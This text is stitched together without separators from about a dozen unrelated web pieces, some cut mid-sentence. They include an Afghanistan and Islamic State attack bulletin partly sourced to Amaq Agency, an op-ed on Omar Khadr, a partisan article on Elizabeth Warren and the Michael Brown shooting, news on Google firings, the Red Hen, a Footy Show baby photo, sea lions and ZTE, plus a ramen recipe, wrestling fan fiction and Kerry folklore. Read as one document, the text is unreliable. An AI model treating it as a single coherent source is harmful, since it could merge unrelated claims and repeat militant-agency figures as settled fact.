wounding seven elements. Islamic Emirate of Afghanistan overran an Afghan National Security Forces’ checkpoint in Gorki area of Nawa-I-Barakzayi district. At least three elements of the Afghan National Security Forces were killed and two motorcycles destroyed in the encounter. Islamic Emirate of Afghanistan downed an Afghan Air Force’s helicopter in Nahri Saraj district. Islamic Emirate of Afghanistan’s snipers killed two elements of the Afghan National Army and two elements of the Afghan Border Police in Nad Ali district. Approximate situation in Helmand province, HD version of this map can be found here. Source: Afganistan Bülteni Kandahar Province: Afghan National Security Forces killed five and wounded four elements of the Islamic Emirate of Afghanistan in Maywand district. Two Islamic Emirate of Afghanistan’s improvised explosive devices destroyed an Afghan National Army’s pickup and an armored personnel carrier in Jalahor Bawri area of Arghandab district. Similarly, an Islamic Emirate of Afghanistan’s improvised explosive device killed and wounded six elements of the Afghan National Army in Mano area of Shah Wali Kot district. CJTF-OIR : CJTF-OIR announced a change in their publishing policy. Now two strikes reports will be published each week, on Mondays and Fridays. Amaq Agency: France: Islamic State’s element killed one and wounded four individuals in the city of Paris by stabbing, before he was neutralized by security forces. Indonesia: Islamic State’s elements conducted three suicide attacks, targeting three churches in the city of Surabaya. Islamic State’s Amaq Agency stated that 11 individuals were killed and 41 wounded by the three attacks. Other: If you would like to support Syrian War Daily, please consider whitelisting or turning off your ad blocking software on the website. Intellectual credited property

The term “Kafkaesque” crossed the threshold into cliché years ago, but at times the word is sorely needed. For a situation to be Kafkaesque, it must be menacingly incomprehensible, with a lone individual thrown into a dangerous but confusing situation. Omar Khadr’s ordeal certainly fits that definition. The trial of Omar Khadr — Omar K. in a Kafka work, or an “alien unprivileged enemy belligerent” in Guantanamo code — is a permanent stain on Canada’s record. Khadr was raised by a family with ties to Al Qaeda, trained to take up arms, accused of lobbing a grenade at a U.S. soldier at age 15, thrown into a secret prison without adequate legal assistance, beaten and tortured, forced to choose between an unjust plea deal and an unfair trial, until finally, one day 13 years later, he was released on bail. There are at least 300,000 child soldiers currently serving in militaries and militias around the world. Under Article Four of the Optional Protocol on the Involvement of Children in Armed Conflict, non-state actors are prohibited from using anyone under the age of 18 for any purpose. Forced recruitment of minors in armed conflict is considered slavery by the International Labour Organization. What makes the fate of Khadr and other child soldiers especially tragic is the complete absence of choice. To fault Omar Khadr for falling in with Al Qaeda as a boy is to fault him for being born to the wrong parents. But suppose Khadr was fairly prosecuted, tried, and convicted. Suppose he was given full access to both his attorneys and the evidence against him. Suppose the ordeal involved less Kafka and more Lady Justice. None of this happened, but assuming it did, that would still not exonerate the American and Canadian governments. The first tortured him and the second served as an accomplice. A bag was placed over his head. He was confronted with barking dogs. “Several times,” Khadr wrote, “the soldiers tied my hands above my head to the door frame or chained them to the ceiling and made me stand like that for hours at a time.” He was sleep deprived, starved, and threatened with rape. Throughout this disturbing period, the Canadian government remained indifferent to Khadr’s nightmare. As happens on issues involving terrorism, this was a bipartisan Liberal-Conservative effort. The Liberal government did not attempt to repatriate Khadr, arguing that he had no right to consular access. Under the Liberals’ watch, Canadian authorities interviewed Khadr and then turned over the intelligence to the Pentagon, wittingly participating in a process contrary to international law. Khadr has said that when he showed Canadian officials his torture scars, they called him a liar. The Supreme Court of Canada unanimously ruled that this Guantanamo complicity was illegal. The Conservatives, meanwhile, went to extraordinary lengths in refusing to assist Khadr, interfering with the judicial process, and classifying him as an adult offender — all on the Canadian taxpayers’ dime. When the Conservatives finally repatriated him, they did so not on principle, but because the U.S. government pressured them to. The Tories’ cruelty surplus is more revealing than their fiscal one. But the blame for Khadr’s mistreatment rests ultimately with us, the Canadian public. It was a democratically elected government that assisted the torturers, and a repeatedly re-elected government that tried to keep him in the penal colony. To shift the moral blame to the people’s representatives is to absolve the Canadian public from its own complacency. The numbers back this up: According to polling done by Abacus Data, six out of ten Canadians opposed Khadr’s return to Canada. So it was we, Canadians, who wanted him locked up in Guantanamo, and we, Canadians, who kept ourselves ignorant when the facts became uncomfortable. He was a brown-skinned child who helped Al Qaeda, therefore he was subhuman and not a real Canadian. And when Khadr — shackled for over a decade, abused by his family, betrayed by his fellow citizens — spoke, what did he say? Was he bitter and unrepentant and monstrous, as described by the government? Khadr told a psychiatrist in New York that all he wanted was “a chance of life, a true life.” He said 9/11 was “a tragedy” and the “killing of innocents is tragic.” He said he wanted to one day become a doctor and get married. When asked what he missed most about his life, he said what any of us would say if we were in his position: “Being loved.” A future generation will one day read about Khadr’s ordeal in history class, and by then, if Canada has learned anything from this, the official apology Khadr receives from a future government will be printed in bold in the textbook

Democratic presidential candidate Sen. Elizabeth Warren, D-Mass., speaks at the Iowa State Fair, Saturday, Aug. 10, 2019, in Des Moines, Iowa. (AP Photo/John Locher) If there’s one thing you can count on from Democrats, it’s that they will say and do the most deceitful things possible to further widen the racial divide. This in spite of their stated desire for “unity” and “harmony” and what not. There is no better current example of this than Sen. Elizabeth Warren (D-MA), a 2020 presidential candidate who has been enjoying a slow but steady rise in presidential polling since May. She was in New Hampshire on Wednesday campaigning, and was asked about a controversial tweet she posted on the 5th anniversary of the death of Michael Brown last Friday. To recap, here’s what she tweeted: 5 years ago Michael Brown was murdered by a white police officer in Ferguson, Missouri. Michael was unarmed yet he was shot 6 times. I stand with activists and organizers who continue the fight for justice for Michael. We must confront systemic racism and police violence head on. — Elizabeth Warren (@ewarren) August 9, 2019 Not only did she get fact checked on her false claim by veteran journalist Brit Hume at the time, but after his prodding, three different websites took both her and Sen. Kamala Harris (D-CA) to task that following Monday for essentially tweeting the same thing. Both the Washington Post and FactCheck.org put out pieces on Warren’s and Harris’s tweets, noting their claims were not true: “Harris, Warren Wrong About Brown Shooting,” read a headline Monday from the non-profit website factcheck.org. Washington Post Fact Checker Glenn Kessler on Monday also awarded both senators four pinocchios over their claims. […] … the fact-checkers said the evidence in the case contradicts the comments by Harris and Warren: Three months after the shooting, a grand jury decided not to indict Wilson. And in March of 2015, a report released by President Barack Obama’s Department of Justice found that Officer Darren Wilson most likely had reason to fear for his life and did not break the law when shooting Brown. Even Vox.com, which is more openly left-wing than the Washington Post and FactCheck.org, wrote that Harris’s and Warren’s tweets about Brown were false, concluding: Five years after the shooting, though, major presidential campaigns are still getting the details wrong. None of this seemed to faze Warren, who on Wednesday doubled down on her claim by taking the Politifact approach to the word “murder” by essentially saying it was more about what she meant than what she actually said: The U.S. senator from Massachusetts faced questions from back home, where the Yarmouth, Massachusetts, Police Department described as “reckless” her tweet about the five-year anniversary of the death of Michael Brown, who was killed in Ferguson, Missouri, in a controversial officer-involved shooting. Warren said the police “murdered” Brown. “What matters was a man was shot, an unarmed man, in the middle of the street, by police officers and left to die,” she said. “And I think that’s where our focus should be.” Watch video of Warren speaking to reporters about this issue below: Hot Air‘s John Sexton is right on the money in describing why Warren’s falsehoods on the Michael Brown shooting matter: First of all, Officer Wilson didn’t know Brown was unarmed during their encounter. What he did know was that Brown was larger and heavier and that he had already initiated a fight with a police officer including throwing punches and grabbing for his gun. Secondly, it’s not accurate that Brown was shot and “left to die.” The final shot that stopped Brown entered the top of his head as he was charging forward. He died instantly. Warren may have been trying to allude to the fact that Brown’s body remained in the street for several hours after his death. But that’s not the same thing as being left to die. At least she left the racial angle out of her “amended” statement on Brown’s death, but even with that said, it’s also wrong and highly irresponsible for her to continue to perpetuate the “murder” lie. She’s smearing a police officer (Darren Wilson) who President Barack Obama’s own Justice Department concluded acted in self defense. If Warren’s point is to highlight race issues between law enforcement and the black community, she needs to find another case to

Medieval knights are often depicted as bloodthirsty men who enjoyed killing. But that is a completely wrong picture, new research shows. The knights did not kill just because they wanted to, but because it was their job – precisely like soldiers today. Nor were the Middle Ages as violent as we think, despite their different perception of violence compared to ours. “Modern military psychology enables us to read medieval texts in a new way – giving us insight into the perception of violence in the Middle Ages in the general population and the use of lethal violence by knights,” says Thomas Heebøll-Holm of the SAXO Institute at the University of Copenhagen, who researches the perception of violence in the late Middle Ages. “Previously, medieval texts were read as worshipping heroes and glorifying violence. But in the light of modern military psychology we can see the mental cost to the knights of their participation in the gruesome and extremely violent wars in the Middle Ages.” Violent by nature or culture? Were the knights violent by nature, enjoying killing? Or was killing something they learned from living in a violent society and culture? Some psychologists believe violence is latent in our genes, while others believe it is something we learn through training. Heebøll-Holm’s research places the medieval perception of violence somewhere between those categories. “From crime statistics and letters of pardon, historians can see that people in the Middle Ages were no more violent than we are today,” says the researcher. “But they had a different perception of the use of violence, including lethal violence.” Back then, people generally had the same concerns about violence as we do today – they were opposed to the use of violence, he explains. In some cultural situations they were forced to use violence, even if it involved murder – and they did so. Knights started their careers as quite young noblemen in the Middle Ages, when they were trained in battle as boys and took part in extremely violent games where numerous participants died. To avoid the boys turning into uncontrollable psychopaths they were also taught only to use violence when it served an honourable and just cause. They also learned to behave courteously and gallantly towards women. “If someone had acted in a way that violated the honour of one of your family members, you were expected to make him answer for his actions, and kill him if necessary.” Kill and get a pardon The researcher relates a story from Paris in the 14th Century. A woman was beaten to death by her husband. Her two brothers demanded that the husband pay penance for his actions, but he refused. Although the brothers felt no pleasure from killing the husband, and even tried to avoid doing so, they felt they were forced to kill him to re-establish their honour. But instead of punishment the brothers were pardoned, as it was well known that the husband had violated their honour by killing their sister. Characteristics of post-traumatic stress disorder include: • Nightmares • Flashbacks • Acute stress responses • Over-sensitivity to noise • Hyperactivity • Depression • Low self-esteem • Problems of abuse “In the Middle Ages, the authorities were too weak to ensure law and order,” says Heebøll-Holm. “To carry this to its logical conclusion, it was up to individuals to ensure that their honour was not violated or abused by others. This meant that ordinary people had to kill to show the world around them that they were willing to ensure their rights by using the most drastic means if necessary.” Knights with PTSD Although they exercised violence in its most extreme form, participating in wars where their comrades were cut into shreds by their enemy’s troops and where they themselves used brutal and gruesome violence against the enemy, medieval knights were not violent by nature or through culture. But their war experiences could leave them with a very serious case of post-traumatic stress disorder (PTSD), according to the researcher. During his studies of violence in the Middle Ages he came across a book written by a knight who lived in the first half of the 14th century. “His name was Geoffroi de Charny, and he was one of the most respected knights of his age. The book, about the life of a knight, included the psychological consequences of being a knight – and they strongly resemble the symptoms of PTSD.” In his book, de Charny advises knights on how to relate to the fact that they must kill people when they are at war. He also mentions some of the hardships knights face: poor sleep, hunger, and a feeling that even nature is going against them. “De Ch

CHANNEL 9 have refused to apologise to the parents of a baby girl who was branded "ugly" by panellists on The Footy Show and likened to rugby league great Peter Sterling. Michael and Melanie Richmond, from Avalon on Sydney's northern beaches, said they were "still in shock and dumbfounded" after a Facebook image of their firstborn daughter Bella was broadcast on Thursday's episode of The Footy Show without their permission. Mr Richmond said the image of his daughter, taken last year, was posted on his wife's Facebook account. "I understand how Facebook works and that when you share photos they become public and there's nothing you can do," he said. "The fact is that somewhere, somehow, a producer has gotten a photo of my daughter and made the decision to put it on television. I know it's supposed to be tongue in cheek but she's just a baby. It's not cool." A fan of the show in the past, Mr Richmond said he and his wife would be switching off from now on. A Channel 9 spokeswoman said the network would not be making any comment or apologising to the family when approached again today. The picture of Bella was taken on Mother's Day last year when she was six months old and posted on Mrs Richmond's Facebook account. One of the panellists on the Footy Show allegedly stated that Bella was an "ugly" baby and compared her to former league great and Nine commentator Peter Sterling. "I don't watch the show. My sister-in-law phoned us and said 'you know your daughter's on the TV' and she paused it and took a photo and sent it to us," Mrs Richmond said. When the couple contacted The Footy Show they were told the image had been provided to them by "a friend from Newport". "However, how they got it doesn't matter, we weren't asked," Mr Richmond said. Since the segment, a photo of joy has turned to one of sadness for the couple. "My husband took it on my first Mother's Day last year on Palm Beach," Mrs Richmond said. "I put the photo on Facebook that day so proud of my first Mother's Day. "Somebody has taken a copy off our Facebook page and cropped Bella because you can see my hair in the background. "You can't take photos of kids playing sport or at childcare so how does my baby end up on TV without me knowing, and in a demeaning manner too?" Mr Richmond said Footy Show host Michael Slater lived just 20 houses from them, and he wondered how he would like it if his baby ended up "splashed across thousands of TV screens without his consent". While the couple said lawyers had come to them seeking to represent them against the show, they "only want an explanation and an apology". "My daughter is a bundle of joy. I would love an apology from the person who did it, from the Footy Show and from Channel 9," Mrs Richmond said. Mrs Richmond said she hoped their experience was a warning to others to be careful about posting on Facebook.The Footy Show did not return calls seeking comment.

Four former employees who say Google fired them in retaliation for their efforts to organize co-workers are planning legal action against the company. The workers allege the tech giant violated US labor law. The employees—Laurence Berland, Paul Duke, Rebecca Rivers, and Sophie Waldman—jointly signed onto an open letter posted today outlining their grievances with their former employer. "We participated in legally protected labor organizing, fighting to improve workplace conditions for all Google workers," they write. They also worked to "hold Google accountable for the impact on our workplace of its business decisions, policies, and practices on a range of topics." Those topics include protesting Google's work with US immigration enforcement agencies and the Department of Defense and protesting Google's work with the Chinese government, as well as a massive walkout of 20,000 Google employees last year to protest the company's handling of sexual harassment allegations against senior executives. The employees continued: It’s clear that [Google's] draconian, pernicious, and unlawful conduct isn’t about us. It’s about trying to stop all workplace organizing. Google wants to send a message to everyone: if you dare to engage in protected labor organizing, you will be punished. They count on the fear, the sadness, and the anger that we are all feeling to stop us all from exercising our rights, and to chill all attempts to hold one of the most powerful organizations in history accountable for its actions. Their first step will be to file charges of Unfair Labor Practice with the National Labor Relations Board. Federal labor law explicitly prohibits employers from retaliating against employees for organizing inside the workplace, either to form a union or to band together to "improve terms and conditions of employment" without a union, and they claim Google did just that. Berland, Duke, Rivers, and Waldman are not the first high-visibility Google employees to claim their employer acted in a retaliatory fashion. Two employees who helped organize the 2018 mass walkout, Meredith Whittaker and Claire Stapleton, said earlier this year that they were facing retaliation from their employer, writing that they were facing demotions or reassignments that would have significant impacts on their careers. Stapleton left the company in June, followed by Whittaker's departure in July. Google denies that the employees were fired in retaliation for any organizing activity. "We dismissed four individuals who were engaged in intentional and often repeated violations of our longstanding data security policies, including systematically accessing and disseminating other employees’ materials and work," a company spokesperson said in a statement. "No one has been dismissed for raising concerns or debating the company’s activities."

Stephanie Wilkinson was at home Friday evening — nearly 200 miles from the White House — when the choice presented itself. Her phone rang about 8 p.m. It was the chef at the Red Hen, the tiny farm-to-table restaurant that she co-owned just off Main Street in this small city in the western part of the state. Sarah Huckabee Sanders had just walked in and sat down, the chef informed her. “He said the staff is a little concerned. What should we do?” Wilkinson told the Washington Post. “I said I’d be down to see if it’s true.” It seemed unlikely to her that President Trump’s press secretary should be dining at a 26-seat restaurant in rural Virginia. But then, it was unlikely that her entire staff would have misidentified Sanders, who had arrived last to a table of eight booked under her husband’s name. As she made the short drive to the Red Hen, Wilkinson knew only this: She knew Lexington, population 7,000, had voted overwhelmingly against Trump in a county that voted overwhelmingly for him. She knew the community was deeply divided over such issues as Confederate flags. She knew, she said, that her restaurant and its half-dozen servers and cooks had managed to stay in business for 10 years by keeping politics off the menu. And she knew — she believed — that Sanders worked in the service of an “inhumane and unethical” administration, that she publicly defended the president’s cruelest policies, and that that could not stand. “I’m not a huge fan of confrontation,” Wilkinson said. “I have a business, and I want the business to thrive. This feels like the moment in our democracy when people have to make uncomfortable actions and decisions to uphold their morals.” When she walked into the restaurant, Wilkinson saw that there had been no mistake. The Red Hen is no bigger than some apartments, and the group table was impossible to miss: Sanders in a black dress, her husband, three or four men and women of roughly similar ages, and an older couple. “They had cheese boards in front of them,” Wilkinson said. Like any other family. The kitchen was already preparing the party’s main course. Wilkinson interrupted to huddle with her workers. Several Red Hen employees are gay, she said. They knew Sanders had defended Trump’s desire to bar transgender people from the military. This month, they had all watched her evade questions and defend a Trump policy that caused migrant children to be separated from their parents. “Tell me what you want me to do. I can ask her to leave,” Wilkinson told her staff, she said. “They said ‘yes.’ ” It was important to Wilkinson, she said, that Sanders had already been served — that her staff had not simply refused her on sight. And it was important to her that Sanders was a public official, not just a customer with whom she disagreed, many of whom were included in her regular clientele. All the same, she was tense as she walked up to the press secretary’s chair. “I said, ‘I’m the owner,’ ” she recalled, “ ‘I’d like you to come out to the patio with me for a word.’ ” They stepped outside, into another small enclosure, but at least out of the crowded restaurant. “I was babbling a little, but I got my point across in a polite and direct fashion,” Wilkinson said. “I explained that the restaurant has certain standards that I feel it has to uphold, such as honesty, and compassion, and cooperation. “I said, ‘I’d like to ask you to leave.’ ” Wilkinson didn’t know how Sanders would react, or whether Trump’s chief spokeswoman had been called out in a restaurant before — as the president’s homeland security secretary had been days earlier. Sanders’ response was immediate, Wilkinson said: “ ‘That’s fine. I’ll go.’ ” Sanders went back to the table, picked up her things and walked out. The others at her table had been welcome to stay, Wilkinson said. But they didn’t, so the servers cleared away the cheese plates and glasses. “They offered to pay,” Wilkinson said. “I said, ‘No. It’s on the house.’ ” At the end of the shift, Wilkinson said, staff members left the usual overnight note in the kitchen for the morning manager: a

When I was in college it was a running joke that we all lived off of ramen packets and French fries. It was, and still is classic campus cuisine– cheap, easy to make, and tastes pretty good after a big night out, or a long haul of studying. So, in my pursuit of creating vegan college dorm-friendly recipes I couldn’t very well leave it out, could I? This recipe uses the infamous ramen noodle, but with a delicious twist that requires you to toss out that stupid MSG-laden flavor packet. That’s right; just toss it, because I’ve got something way better for ya. A spicy, tangy almond butter sauce that will take your ramen from sad to rad in just a few minutes. Did I mention that by adding fresh veggies, I just made your ramen 100% healthier?! Woo Hoo! Healthy Ramen! 5.0 from 2 reviews Vegan Dorm Room Ramen Hack Save Print Prep time 5 mins Total time 5 mins Skip the flavor packet and turn that super cheap packet of ramen noodles into a gourmet dorm room meal! These curly noodles are fun to eat, and can be healthy and satisfying as well! Just add veggies and this yummy sriracha almond sauce. Author: The Edgy Veg Recipe type: dinner Cuisine: vegetarian Serves: 1 Ingredients Sauce 3-4 Tbsp almond butter 2-4 Tbsp sriracha sauce, to taste 3 Tbsp fresh lime juice 1 garlic clove, or 1 tsp garlic powder 1 Tbsp tamari, or soy sauce, optional 2-4 tbsp water, as needed salt to taste 1 package instant ramen noodles Handful shredded cabbage 1 large carrot, peeled and cut into match sticks Sesame seeds- for topping Instructions Combine the almond butter, sriracha, lime juice, garlic, tamari, and water 2 tbsp at a time, in a blender and mix until well combined. Add more water and blend until your desired consistency is reached. Add salt if you omitted tamari. Prepare ramen noodles with hot water as directed on the package. I place the noodles in a large mixing bowl, and pour boiling water over them and allow to soak for roughly 5 minutes, until tender. Drain noodles and toss with sauce. Top with veggies and sesame seeds and enjoy immediately. 3.3.3077 Want more easy and delicious vegan dorm-friendly recipes? Check these bad boys out! Avocado Toasts 3 Ways Waffle Pizza Pockets Raw Pad Thai with Peanut Sauce Healthy, Vegan Pumpkin Pie Smoothie Peanut Butter Chocolate Pudding Easy Vegan Mug Cakes 2 Ways Homemade Instant Noodles Mr Noodle-style

This malnourished juvenile sea lion pup was rescued by the Marine Animal Rescue on April 5, 2013 in the San Pedro area of Los Angeles, California. Kevork Djansezian/Getty Images Young California sea lions have been struggling for years. In 2015 alone, thousands of emaciated pups washed ashore, overwhelming rescue efforts. Researchers have been searching for clues on the pup's demise ever since and now, they may be one big step closer to understanding its source. In a new study published March 2 in the journal Royal Society Open Science, scientists have found that the emaciated pups are suffering because their mothers aren't eating enough high-quality food. And while the team is not entirely sure what's bottoming out their nutrition, they think it's a trend that is unlikely to reverse itself any time soon. California sea lions have been in a bad place for a while, but their situation has reached epic proportions in the past year. In the six months between January and June 2015, an unprecedented 3,000 emaciated and starving sea lion pups washed up onto California's beaches. By the end of that year, the Marine Mammal Center in Sausalito near San Francisco had counted a staggering 4,200 stranded California sea lions — the worst the center has seen in their 40-year history. Scientists have scrambled to understand why these pups are declining in droves while conservation centers care for the thousands they've taken in. The new study suggests that their poor health is a result of their mothers eating the oceanic equivalent of "junk food," as Discovery News calls it. Sea lions eat a wide variety of fish and squid, but not all food items stack up equally on their food pyramid. Sardines and anchovy pack the biggest nutrition and calorie punch, whereas rockfish and squid are the cheaper, less-preferred snack. Think of sardines and anchovy as the eggs and avocados of the sea lion food world, whereas rockfish and squid are the less wholesome breads and pastas. Sick and malnourished sea lion pup named Tough is anesthetized for an examination at the Marine Mammal Center on February 24, 2015 in Sausalito, California. Justin Sullivan/Getty Images Scientists have noted in the past that when these species of fish go through natural environmentally-driven fluctuations, so does sea lion health. During the El Niño of 1982 to 1983, for example — which is a natural ocean-warming weather phenomenon — sea lion births and birth weights declined while the number of pup deaths increased. After analyzing a decades-worth of data on the availability of forage fish in California sea lion habitats, the team found that sea lion mothers are being forced to eat less nutritious rockfish and squid because higher-calorie sardines and anchovy populations have nosedived. Warmer-than-normal waters in the Pacific Ocean in the past two years, which have worsened due to the present El Niño phenomenon, is a big offender. The prevailing theory has been that the California's sea lions' preferred prey are swimming north to cooler waters. But while this new study suggests that limited sea lion food for nursing mothers is linked to warmer waters, that's likely not the only culprit. Despite their current struggle, California sea lion numbers have exploded in the past 40 years — growing from a population of 50,000 to 340,000. With more sea lions hunting for food, their prey become more scarce. Michael R Perry/Flickr The study doesn't conclude what exactly is causing this dip in availability of nutritious food, but it's likely a combination of multiple factors in the environment, including warmer waters, fishing impacts, and sea lion population growth. And unfortunately for the sick pups, this downward trend probably won't right itself in the near future, the authors noted in the paper. "In the near term, we expect repeated years with malnourished and starving sea lion pups," they wrote.

a pleasure to let the fans know what is going on. Bea : We want everyone to know how we approach each match and that is what we will do today. Iris the English Bulldog starts sniffing around the feet of the Tinesha which makes her uncomfortable. Tinesha Marsfor : What is your dog doing? I hope she do not plan on peeing on my shoes. Bea : Iris is only sniffing you to see what you smell like. Unlike humans who use vision to determine what a person is about dogs use smell do so the same thing. Tinesha Marsfor : So, Bill, how do you feel going into your first match in Asylum Islands Wrestling and how do you feel about your opponent Lee Harris? Bill : Harris is a strange character without a doubt. Although he may be a bit too deep into the conspiracy theory thing he is not as whacked out as my half-brother Chris Shipman who worked with me in Asylum Wrestling Alliance. That crazy half-brother of mine not only wanted to end my wrestling career he wanted to end my life. Tinesha Marsfor : Where is Chris Shipman now? Bill : After Shipman was unable to destroy me he probably went insane and retired from wrestling. I have not heard from him, or about him, in years. But I am still here and still performing superbly in the wrestling ring, so that should tell everyone all they need to know about how awesome I am. Tinesha Marsfor : Do you have any concerns about Lee Harris? Bill : When you deal with a whacked out wrestler like Lee Harris there is always a risk he may do something in the match that can cause an injury to his opponent. I know I have to stay on top of my game and totally focused in the match to avoid any incidents. Even with that I am positive I will walk away the winner. Tinesha Marsfor : Thanks for joining with me to give me this interview. Best to you in your match. Bill and Bea thank Tinesha Marks for the air time. Bill, Bea, and Iris, take off down the hallway to get to the staging area to be ready to make their entrance for their match. The cameraman keeps his camera focused on the three until they turn the corner and go out of sight. Ethan Shrimpton : What a night it has been! But we ware in the main event of the first ever Asylum Wrestling Island Warfare! [/b] Clayton Elliott : What a great night so far, we have seen some brutality tonight and our main event should top it all off! [/b] Alicia Goudie : Introducing first being accompanied by his wife and manager Bea Barnhart and their Bulldog Iris, Bill Barnhart!!! Raise Your Glass by Pink hits the speakers and we see Bill Barnhart walk out from the backstage area holding a pink glass chalice in his hand. He is followed by his wife and manager, Bea Barnhart, who is leading their English Bulldog Iris on a pink leash. When the song comes to the lyrics RAISE YOUR GLASS Bill Barnhart raises the chalice into the air. The crowd gives a mixed reaction to Barnhart. The three make their way to the ring where Bill hands the chalice to Bea before entering the ring while Bea and Iris take a seat at ringside. Bill walks around the ring playing the crowd. Clayton Elliott : Well you dont see many wrestlers bringing the whole family out? [/b] Ethan Shrimpton : Bill is an old school wrestler. He represents wrestling that is mostly not around anymore. [/b] Alicia Goudie : And his opponent Lee Harris!!! as Lee comes out from the back area. He looks around before walking down the rampway, cursing at some fans. He starts yelling incoherent phrases and quoting Ancient Aliens as he gets to the ring. He looks around the arena before going to his corner.[/color] Clayton Elliott : now this guy is on to something. You know the FBI can watch you through your tv and phones Ethan? [/b] Ethan Shrimpton : uh..those are conspiracy theories….I think… I hope. The two closely matching men circle mid-ring before tying up in a test of strength. Bill gets the upper hand but Lee slips a leg behind the older ma, tripping him to the ground. Bill Looks angry as he looks up at lee. Ethan Shrimpton : Big mistake as Bill is a sound technician! [/b] Almost on cue Bill slides around to behind Lee and powers him up into

Last year I began a series of post on the saints and their animals. Continuing with this theme this post will look at the folklore and legends of cows associated with the great ecclesiastical complex of Kilmalkedar /Cill Maoilchéadair in the Dingle Peninsula, Co Kerry. The site of Kilmalkedar consists of a large ecclesiastical complex with archaeological remains dating from the early medieval to late medieval period. It is dedicated to a little known saint called Maolcethair, whose death was recorded in the martyrology of Donegal (Cuppage 1986, 308). The site was also linked to St Brendan and was part of the pilgrim landscape of the Mount Brandon. Unlike the previous tales about the saints and their animals ( Ita and her donkey, Patrick and his cow, Ciaran and his cow, Manchan and his cow), St Maolcethair is not directly associated with any animal but ecclesiastical complex has two interesting folk tales that relate to miraculous events associated with cows. These stories are embedded in the physical landscape. The Cow and Thief’s Stone One of the stories concerns the theft of a cow, a familiar theme from the earlier posts in this series. The story goes that a thief tried to steal a cow from the community at Kilmalkedar. The cow bellowed, which woke up one of the monks. One of the monks ‘caused the thief to stick in the stone which he was climbing and the hoof of the cow to get embedded in the stone on which she had alighted from the fence. The thief set up a howling form pain and fright and prayed humbly for mercy and forgiveness. The holy man released him and warned him to sin no more. The imprints of the thief’s knees are to be seen to the present day and the impress of the cow’s hoof is also discernible’ ( Dingle Survey Files after mss of John Curran, unpublished OPW file). Until 1967 two stones known as the cow and thief stone were located on either side of the road close to the church and graveyard at Kilmalkedar, they were set 150m south of the graveyard and some 350 yards northeast of (KE042-028). Both were recorded on the 1st edition OS map of 1842. Unfortunately the cow stone has now disappeared, both stones were set on either side of the roadway until at least 1967. The cow stone (KE042-02701) was located on the west side of the road and the thief stone (KE042-027) on the east. Killanin & Michael (1967, 96) described the two stones as standing stones and the Dingle Survey notes that the theif stone ‘stood 0.81m high at the base’ (Cuppage 1986, 323). However descriptions in the Dingle Survey Files suggest that the cow stone was a flat stone. A story recounted by Mary Jane Leadbeater Fisher in her book Letters from the Kingdom of Kerry: In the year 1845 also records the tale but in her account the story is linked to another archaeological feature of the landscape, a large multi basin bullaun stone know as the Keelers or na Beirtí (Milk Coolers). A cow is the subject of this legend—a cow of size and breed suited to provide milk for the giant race of those days. We saw the milk vessels, and if she filled them morning and evening, she was indeed a marvellous cow. In a huge flat rock were these milk pans; six large round holes, regular in their distances from each other, and nearly of equal size; they could each contain some gallons of liquid. This said cow gave sufficient milk for one whole parish; and was the property of a widow—her only wealth. Another parish and another clan desired to be possessed of this prize; so a marauder, endued with superior strength and courage, drove her off one moonlight night. The widow followed wailing, and he jeered her and cursed her as he proceeded. The cow suddenly stopped; in vain the thief strove to drive her on; she could neither go on, nor yet return; she stuck fast. At length, aroused by the widow’s cries, her neighbours arrived, and the delinquent endeavoured to escape. In vain—for he too stuck fast in the opposite rock; he was taken and killed. The cow then returned to her own home, and continued to contribute her share towards making the parish like Canaan, “a land flowing with milk and honey.” The prints of her hoofs, where the bees made their nests, are still to be seen in one rock ; and those of the marauder’s foot and hand in another, where he was held fast by a stronger bond than that of conscience (Leadbeater Fisher 1847, 48). The ‘huge

President Donald Trump said in a tweet Sunday that he's working to give China's ZTE "a way to get back into business, fast." Jobs in China are at risk, he said. ZTE (ZTCOF), a smartphone and telecom equipment maker that does business around the world, announced last week that it has halted its main operations after the Trump administration banned American companies from selling it vital components. Now, Trump says he's working with President Xi Jinping of China to get the company back on its feet. "Too many jobs in China lost. Commerce Department has been instructed to get it done!" Trump wrote in a tweet Sunday. The US Commerce Department did not immediately respond to multiple requests for comment Sunday. President Xi of China, and I, are working together to give massive Chinese phone company, ZTE, a way to get back into business, fast. Too many jobs in China lost. Commerce Department has been instructed to get it done! — Donald J. Trump (@realDonaldTrump) May 13, 2018 The White House later issued a statement indicating that President Trump "expects" Commerce Secretary Wilbur Ross "to exercise his independent judgment, consistent with applicable laws and regulations, to resolve the regulatory action involving ZTE based on its facts." The Chinese government welcomed Trump's comments. "We very much appreciate the positive statement from the US side on ZTE and maintain close communication with them on the issue," Foreign Ministry spokesman Lu Kang said Monday. Related: ZTE is now center stage in the US-China trade fight ZTE's current struggles have made it the most visible consequence thus far of a brewing trade war between the United States and China. The Chinese company employs about 75,000 people. It's also the fourth largest provider of smartphones in the United States. Last month, the Trump administration blocked American firms from selling parts or providing services to ZTE until 2025. The ban was put in place after Washington said ZTE violated a deal struck last year in which ZTE agreed to pay a $1.2 billion fine for violating US sanctions on Iran and North Korea. ZTE denies it violated the deal and is appealing the export ban. The company warned in April, when the ban was first implemented, that it would "severely impact the survival and development" of ZTE. Experts say the company could be circling the drain, but some have predicted a deal will be reached with the US government enabling it to survive. The US crackdown on ZTE has been interpreted by some as part of a broader push by the United States to stifle China's tech ambition. Related: China's ZTE says main operations have ceased after US ban But ZTE has also long been the target of scrutiny for regulators and officials in the United States, which is wary of its ties to the Chinese government. The company's controlling shareholder is Shenzhen Zhongxingxin Telecommunications Equipment, a Chinese state-owned corporation. One 2012 congressional report about ZTE and Huawei, another huge Chinese tech company, said the companies "cannot be trusted to be free of foreign state influence and thus pose a security threat to the United States and to our systems." Both companies strongly disputed the report's findings. Adam Schiff, a Democratic congressman from California, responded to Trump's tweet Sunday, saying he "should care more about our national security than Chinese jobs." Our intelligence agencies have warned that ZTE technology and phones pose a major cyber security threat. You should care more about our national security than Chinese jobs. https://t.co/7Ygh7805jg — Adam Schiff (@RepAdamSchiff) May 13, 2018 "Our intelligence agencies have warned that ZTE technology and phones pose a major cyber security threat," he said. Trump didn't mention it, but the Commerce Department's ban on ZTE is also affecting American companies. The Chinese firm's suppliers of smartphone chips include Qualcomm (QCOM) and Intel (INTC). It also buys parts for telecoms equipment from smaller American companies like Acacia (ABGLF) and Oclaro (OCLR), which have been hit particularly hard by the ban. Trump has repeatedly blasted China for what he calls unfair trade practices. And a looming trade war between the United States and China has been punctuated by both nations threatening billions of dollars worth of tariffs against the other. On Sunday, Trump appeared to ease the rhetoric, saying the countries "are working well together on trade." China and the United States are working well together on trade, but past negotiations have been so one sided in favor of China, for so many years, that it is hard for them to 